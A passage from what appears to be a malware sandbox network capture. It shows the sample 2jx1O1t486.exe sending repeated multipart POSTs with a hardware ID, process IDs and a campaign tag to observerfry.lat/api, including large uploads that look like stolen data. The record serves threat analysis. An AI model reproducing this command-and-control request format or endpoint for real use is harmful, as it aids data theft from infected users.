2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 50 42 35 34 64 68 7a 76 49 61 4d 6c 4c 43 67 70 75 36 74 47 53 66 79 59 74 58 4f 64 2f 69 47 76 2f 72 44 7a 4d 44 4d 4c 66 73 30 68 4e 79 31 66 4f 66 4a 70 68 33 77 4a 66 54 45 48 68 39 6f 39 76 4d 6a 41 62 2f 7a 65 63 49 2f 57 6c 66 35 56 49 79 38 4b 35 54 45 2f 4f 55 6f 45 32 31 47 44 42 54 77 49 44 62 50 2f 58 6b 58 6b 72 4b 56 44 79 65 59 68 6e 2f 71 30 33 78 67 4b 49 67 2f 42 45 58 34 59 46 7a 67 66 58 61 63 64 42 45 55 78 35 6f 38 62 66 63 79 78 6d 41 36 42 31 69 32 50 39 70 54 50 47 41 4d 6e 42 76 6b 52 43 7a 31 57 47 49 4e 74 69 7a 30 4d 4a 41 32 66 70 32 70 70 77 4a 79 4a 64 37 7a 6e 4c 49 2f 57 78 66 35 56 49 35 2b 71 46 41 57 62 38 48 5a 46 38 77 79 62 41 54 6b 64 55 4a 75 48 63 6b 33 77 76 49 46 4c 73 63 34 78 6f 2f 71 49 37 77 51 48 4e 79 37 Data Ascii: PB54dhzvIaMlLCgpu6tGSfyYtXOd/iGv/rDzMDMLfs0hNy1fOfJph3wJfTEHh9o9vMjAb/zecI/Wlf5VIy8K5TE/OUoE21GDBTwIDbP/XkXkrKVDyeYhn/q03xgKIg/BEX4YFzgfXacdBEUx5o8bfcyxmA6B1i2P9pTPGAMnBvkRCz1WGINtiz0MJA2fp2ppwJyJd7znLI/Wxf5VI5+qFAWb8HZF8wybATkdUJuHck3wvIFLsc4xo/qI7wQHNy7
2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 54 34 6b 37 79 47 6a 4b 54 51 38 45 62 2b 7a 62 6d 6e 6b 6d 4b 6c 48 68 66 6f 74 74 2b 75 6c 78 6a 51 2f 51 6a 65 67 44 5a 74 5a 47 6e 43 54 58 52 38 70 4e 52 78 4d 6f 39 4a 2b 59 65 47 42 2b 47 2b 6c 72 67 57 37 67 6f 44 6a 44 42 38 76 66 73 55 35 4d 31 46 71 42 4e 74 31 71 77 55 30 42 44 57 50 6e 30 35 68 78 4b 79 6c 58 6f 44 66 46 5a 4f 72 70 5a 34 30 6d 77 39 36 6e 51 45 6e 4e 53 35 56 79 78 53 6a 65 41 67 41 41 4a 72 57 66 6e 48 38 72 49 6c 76 73 65 59 46 75 38 72 73 77 79 67 2f 42 78 71 4a 4a 51 4d 46 57 68 6a 6e 56 59 4e 56 4f 43 52 35 6a 2f 38 33 66 4f 6d 41 68 51 36 41 68 78 56 58 31 75 53 2f 4f 53 76 6e 62 73 31 56 4d 79 31 48 4f 4c 5a 52 2f 68 30 55 4c 54 44 36 74 32 5a 42 39 49 79 6c 61 36 58 57 49 5a 76 75 73 50 73 73 4d 77 73 65 77 52 55 48 Data Ascii: T4k7yGjKTQ8Eb+zbmnkmKlHhfott+ulxjQ/QjegDZtZGnCTXR8pNRxMo9J+YeGB+G+lrgW7goDjDB8vfsU5M1FqBNt1qwU0BDWPn05hxKylXoDfFZOrpZ40mw96nQEnNS5VyxSjeAgAAJrWfnH8rIlvseYFu8rswyg/BxqJJQMFWhjnVYNVOCR5j/83fOmAhQ6AhxVX1uS/OSvnbs1VMy1HOLZR/h0ULTD6t2ZB9Iyla6XWIZvusPssMwsewRUH
2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 35 70 68 79 77 4a 66 54 47 58 71 33 4a 35 2b 4b 53 70 55 35 33 32 58 61 66 57 37 50 73 77 44 78 63 47 77 54 6b 72 4d 58 49 63 2f 31 6d 76 41 52 51 67 4a 4a 71 4f 66 6d 47 78 67 66 68 76 42 64 49 35 76 71 66 4e 2f 30 6b 62 52 6a 62 64 50 42 35 34 64 6a 6a 6a 66 62 4d 70 42 43 41 39 30 37 4e 6d 4e 64 43 30 73 53 65 70 79 67 47 37 2f 70 44 7a 4c 44 73 50 42 6f 6b 70 48 78 56 62 4f 66 4a 70 68 33 77 4a 66 54 45 58 36 79 5a 56 7a 4c 44 42 51 34 58 71 54 62 75 4c 70 63 59 30 5a 7a 39 7a 77 47 31 48 57 53 6f 6b 74 6c 48 2b 48 52 51 74 4d 50 71 33 5a 6c 6e 49 6e 49 46 58 79 66 49 4e 73 2f 61 41 32 79 51 44 4c 7a 62 52 48 51 4d 4e 65 67 6a 6e 64 5a 63 68 47 44 67 4a 76 34 70 2f 52 4e 43 63 2b 47 37 67 35 70 48 6a 78 70 54 4b 4e 46 34 62 55 38 45 52 4c 68 67 58 4f Data Ascii: 5phywJfTGXq3J5+KSpU532XafW7PswDxcGwTkrMXIc/1mvARQgJJqOfmGxgfhvBdI5vqfN/0kbRjbdPB54djjjfbMpBCA907NmNdC0sSepygG7/pDzLDsPBokpHxVbOfJph3wJfTEX6yZVzLDBQ4XqTbuLpcY0Zz9zwG1HWSoktlH+HRQtMPq3ZlnInIFXyfINs/aA2yQDLzbRHQMNegjndZchGDgJv4p/RNCc+G7g5pHjxpTKNF4bU8ERLhgXO
2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 64 4a 45 51 6c 68 2b 35 32 71 64 79 34 6f 58 50 59 35 6d 6c 79 38 36 54 44 58 53 4a 44 30 71 51 4e 41 79 68 33 57 63 73 39 68 78 30 55 64 47 6d 48 68 7a 70 52 35 4c 41 52 55 35 32 2b 47 62 50 47 34 4e 6f 45 44 78 59 33 2b 41 30 44 65 48 64 5a 79 39 57 48 52 51 53 67 50 64 2b 53 66 30 54 51 6e 4d 42 75 34 4f 62 73 6a 34 4b 6f 76 7a 67 66 5a 38 2f 41 62 58 76 67 64 68 53 54 64 64 73 52 55 44 41 46 71 2f 4f 48 66 4c 48 52 30 43 62 49 72 31 33 79 79 74 67 43 44 53 4d 6d 4e 36 48 70 65 68 6b 76 4f 61 6f 67 6f 68 31 42 48 56 43 61 71 33 49 31 6d 4a 69 56 4e 34 7a 36 37 58 64 57 2f 4e 63 6f 59 7a 39 71 2f 41 77 6d 47 55 73 35 71 34 79 62 4f 52 52 77 64 63 4f 44 50 6d 44 51 66 61 42 76 34 4f 64 30 6a 78 36 6f 78 77 77 2f 65 33 50 31 6b 55 63 78 61 6e 6a 58 4e 61 Data Ascii: dJEQlh+52qdy4oXPY5mly86TDXSJD0qQNAyh3Wcs9hx0UdGmHhzpR5LARU52+GbPG4NoEDxY3+A0DeHdZy9WHRQSgPd+Sf0TQnMBu4Obsj4KovzgfZ8/AbXvgdhSTddsRUDAFq/OHfLHR0CbIr13yytgCDSMmN6HpehkvOaogoh1BHVCaq3I1mJiVN4z67XdW/NcoYz9q/AwmGUs5q4ybORRwdcODPmDQfaBv4Od0jx6oxww/e3P1kUcxanjXNa
2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 43 62 65 33 59 6a 32 49 37 61 6c 50 6a 59 35 39 64 7a 49 49 7a 79 77 2f 53 79 72 5a 6c 5a 34 59 54 7a 6a 32 61 50 76 34 43 54 30 78 5a 6f 35 2b 48 4e 48 68 6d 62 75 4e 33 69 32 54 6b 75 48 4c 6c 4b 2f 4c 33 38 6d 39 41 30 78 2b 36 4e 63 70 33 7a 45 38 4c 54 43 69 74 32 64 38 73 63 47 67 62 35 47 6a 46 4f 36 4c 37 5a 4a 68 62 6e 35 33 69 58 41 6e 66 48 5a 68 79 67 6a 53 4a 41 68 56 4d 50 71 32 59 6e 47 59 79 49 46 6a 32 65 73 4a 64 7a 49 34 78 79 67 6e 65 33 61 64 4d 65 66 68 49 6a 54 7a 55 59 64 46 54 52 30 49 6d 34 70 2f 48 54 57 42 75 47 39 38 33 78 58 75 79 38 58 2f 34 43 38 62 44 74 31 56 57 69 33 71 41 4e 64 74 77 31 31 55 49 54 43 69 74 32 64 38 73 63 6d 67 62 35 47 6a 46 4f 36 4c 37 5a 4a 68 62 6e 35 33 69 58 41 6e 66 48 5a 68 79 67 6a 53 4a 41 68 Data Ascii: Cbe3Yj2I7alPjY59dzIIzyw/SyrZlZ4YTzj2aPv4CT0xZo5+HNHhmbuN3i2TkuHLlK/L38m9A0x+6Ncp3zE8LTCit2d8scGgb5GjFO6L7ZJhbn53iXAnfHZhygjSJAhVMPq2YnGYyIFj2esJdzI4xygne3adMefhIjTzUYdFTR0Im4p/HTWBuG983xXuy8X/4C8bDt1VWi3qANdtw11UITCit2d8scmgb5GjFO6L7ZJhbn53iXAnfHZhygjSJAh
2024-12-23 16:28:20 UTC	1369	IN	Data Raw: 32 49 6c 33 59 47 67 62 37 44 6e 64 49 2f 4f 6a 4c 38 41 48 7a 34 47 33 57 55 43 47 45 38 34 38 6d 6a 36 48 51 77 30 63 61 2b 4c 59 30 33 49 75 4b 42 76 2f 4e 35 77 6a 35 4f 6c 6e 6e 6b 61 49 33 2f 41 62 42 34 46 65 6e 43 44 63 5a 64 46 42 51 44 4a 59 77 4d 32 59 5a 43 4e 6b 61 75 31 39 6b 33 62 78 75 54 6a 7a 4e 75 58 66 74 31 4e 45 68 47 79 59 4d 64 70 6f 77 41 4a 4a 54 48 36 74 68 39 39 5a 4d 69 46 4c 34 7a 6e 4c 49 2f 37 70 5a 34 30 46 32 73 71 67 51 41 76 42 52 34 6c 79 78 53 6a 65 41 68 46 4d 50 72 36 52 33 32 5a 67 66 68 75 6e 64 34 68 69 38 61 63 38 33 78 72 4f 7a 71 5a 41 41 50 68 6a 6f 79 44 64 64 73 51 41 4e 67 46 69 2b 38 71 63 5a 43 63 59 5a 63 31 72 67 6e 50 78 36 78 50 4b 42 63 54 7a 6a 6e 52 57 77 55 33 4d 46 4e 6c 77 78 41 4a 4a 54 48 36 Data Ascii: 2Il3YGgb7DndI/OjL8AHz4G3WUCGE848mj6HQw0ca+LY03IuKBv/N5wj5OlnnkaI3/AbB4FenCDcZdFBQDJYwM2YZCNkau19k3bxuTjzNuXft1NEhGyYMdpowAJJTH6th99ZMiFL4znLI/7pZ40F2sqgQAvBR4lyxSjeAhFMPr6R32Zgfhund4hi8ac83xrOzqZAAPhjoyDddsQANgFi+8qcZCcYZc1rgnPx6xPKBcTzjnRWwU3MFNlwxAJJTH6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49708	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:23 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BIHKWH0CTY07RXHY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12834 Host: observerfry.lat
2024-12-23 16:28:23 UTC	12834	OUT	Data Raw: 2d 2d 42 49 48 4b 57 48 30 43 54 59 30 37 52 58 48 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 43 33 33 35 36 36 46 43 33 32 36 43 34 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 42 49 48 4b 57 48 30 43 54 59 30 37 52 58 48 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 49 48 4b 57 48 30 43 54 59 30 37 52 58 48 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 42 49 Data Ascii: --BIHKWH0CTY07RXHYContent-Disposition: form-data; name="hwid"F2C33566FC326C48BEBA0C6A975F1733--BIHKWH0CTY07RXHYContent-Disposition: form-data; name="pid"2--BIHKWH0CTY07RXHYContent-Disposition: form-data; name="lid"PsFKDg--pablo--BI
2024-12-23 16:28:24 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2gb8vl39bgtji52pg8udbn9sj1; expires=Fri, 18 Apr 2025 10:15:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EgW0i2AziKh5FawP4BSjXQ%2ByMZN5zu9u%2B1RLPGTn4HcdR1MN1aL8ylSPI1ZUSk5%2BAFgqPxF9Qek1XSzBbDrE48R96UIC4GlPkFugg8K6TcfhiQ0DtodbP4QRC5Rva15nGcY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b9780ac715c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4424&min_rtt=1621&rtt_var=2437&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13771&delivery_rate=1801357&cwnd=252&unsent_bytes=0&cid=eff93fc03ba9fb65&ts=1100&x=0"
2024-12-23 16:28:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:28:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49709	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:25 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=39W0NIOLM1B8B8C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15057 Host: observerfry.lat
2024-12-23 16:28:25 UTC	15057	OUT	Data Raw: 2d 2d 33 39 57 30 4e 49 4f 4c 4d 31 42 38 42 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 43 33 33 35 36 36 46 43 33 32 36 43 34 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 33 39 57 30 4e 49 4f 4c 4d 31 42 38 42 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 39 57 30 4e 49 4f 4c 4d 31 42 38 42 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 33 39 57 30 4e Data Ascii: --39W0NIOLM1B8B8CContent-Disposition: form-data; name="hwid"F2C33566FC326C48BEBA0C6A975F1733--39W0NIOLM1B8B8CContent-Disposition: form-data; name="pid"2--39W0NIOLM1B8B8CContent-Disposition: form-data; name="lid"PsFKDg--pablo--39W0N
2024-12-23 16:28:26 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g9h4tlqbt6tjffa4gun60l39js; expires=Fri, 18 Apr 2025 10:15:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FJ1jbfmGj%2F4cTTqGiHDHXgZLsx%2Fu2%2BHN9LCx6BVvyPsKUotCnVv4s9H2GeU2VdXlhC4gi0ZbRN16L%2BLwvs%2BUTfyclxZTKZwVeM56w%2FGb0s4AWPh1vV9yUdwlUCLfcNgE%2FYQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b9861bb3efa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1983&min_rtt=1977&rtt_var=755&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=15993&delivery_rate=1437715&cwnd=114&unsent_bytes=0&cid=1cce290437189853&ts=860&x=0"
2024-12-23 16:28:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:28:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49710	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:28 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=COJSEW8USXAHXVD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20224 Host: observerfry.lat
2024-12-23 16:28:28 UTC	15331	OUT	Data Raw: 2d 2d 43 4f 4a 53 45 57 38 55 53 58 41 48 58 56 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 43 33 33 35 36 36 46 43 33 32 36 43 34 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 4f 4a 53 45 57 38 55 53 58 41 48 58 56 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 4f 4a 53 45 57 38 55 53 58 41 48 58 56 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 43 4f 4a 53 45 Data Ascii: --COJSEW8USXAHXVDContent-Disposition: form-data; name="hwid"F2C33566FC326C48BEBA0C6A975F1733--COJSEW8USXAHXVDContent-Disposition: form-data; name="pid"3--COJSEW8USXAHXVDContent-Disposition: form-data; name="lid"PsFKDg--pablo--COJSE
2024-12-23 16:28:28 UTC	4893	OUT	Data Raw: 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-12-23 16:28:29 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n64jeevbkroohb6tdcq5854ufn; expires=Fri, 18 Apr 2025 10:15:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QKLxchjhSHwDkwXiA9I6pd%2BamN5VeuiCd2wbzwo1gqEZXbxPZmaGHfQM3d%2FbOKvnlZLSvG3pMWBc%2Ffp2a0je1j4OUyhl%2BEa0eLK9cLKe0BlQXaL%2FKsFYwBekYz8HgiHb58Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b997ae2b43b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1626&rtt_var=813&sent=15&recv=27&lost=0&retrans=1&sent_bytes=4210&recv_bytes=21182&delivery_rate=119003&cwnd=238&unsent_bytes=0&cid=16cec5ae6c82034d&ts=1077&x=0"
2024-12-23 16:28:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:28:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:32 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YOLGSR73KGQ2HLH6J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1256 Host: observerfry.lat
2024-12-23 16:28:32 UTC	1256	OUT	Data Raw: 2d 2d 59 4f 4c 47 53 52 37 33 4b 47 51 32 48 4c 48 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 43 33 33 35 36 36 46 43 33 32 36 43 34 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 59 4f 4c 47 53 52 37 33 4b 47 51 32 48 4c 48 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 4f 4c 47 53 52 37 33 4b 47 51 32 48 4c 48 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --YOLGSR73KGQ2HLH6JContent-Disposition: form-data; name="hwid"F2C33566FC326C48BEBA0C6A975F1733--YOLGSR73KGQ2HLH6JContent-Disposition: form-data; name="pid"1--YOLGSR73KGQ2HLH6JContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-23 16:28:32 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=76lpog82nlrqhv39p71mh9jcg1; expires=Fri, 18 Apr 2025 10:15:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oSHekB5HGXfY7TqlQtWh9StOw%2Bk2RDK99crUlUflAMOHH%2FFSW%2Fuv2Fb5iOqk8BP2dyr%2BwcLtck%2B1%2F4zec9oQQvBX8C6ByWImAkAQne4Z6CKZA%2FxkDvRaoxLB5aTJ6zaIs7g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69b9aeaca541ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1706&rtt_var=690&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2171&delivery_rate=1530398&cwnd=252&unsent_bytes=0&cid=dbb0ec29f9df7753&ts=783&x=0"
2024-12-23 16:28:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:28:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49714	104.21.36.201	443	7816	C:\Users\user\Desktop\2jx1O1t486.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:28:34 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2Y40M4WKTVZKN385G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588266 Host: observerfry.lat
2024-12-23 16:28:34 UTC	15331	OUT	Data Raw: 2d 2d 32 59 34 30 4d 34 57 4b 54 56 5a 4b 4e 33 38 35 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 43 33 33 35 36 36 46 43 33 32 36 43 34 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 32 59 34 30 4d 34 57 4b 54 56 5a 4b 4e 33 38 35 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 59 34 30 4d 34 57 4b 54 56 5a 4b 4e 33 38 35 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --2Y40M4WKTVZKN385GContent-Disposition: form-data; name="hwid"F2C33566FC326C48BEBA0C6A975F1733--2Y40M4WKTVZKN385GContent-Disposition: form-data; name="pid"1--2Y40M4WKTVZKN385GContent-Disposition: form-data; name="lid"PsFKDg--pablo-
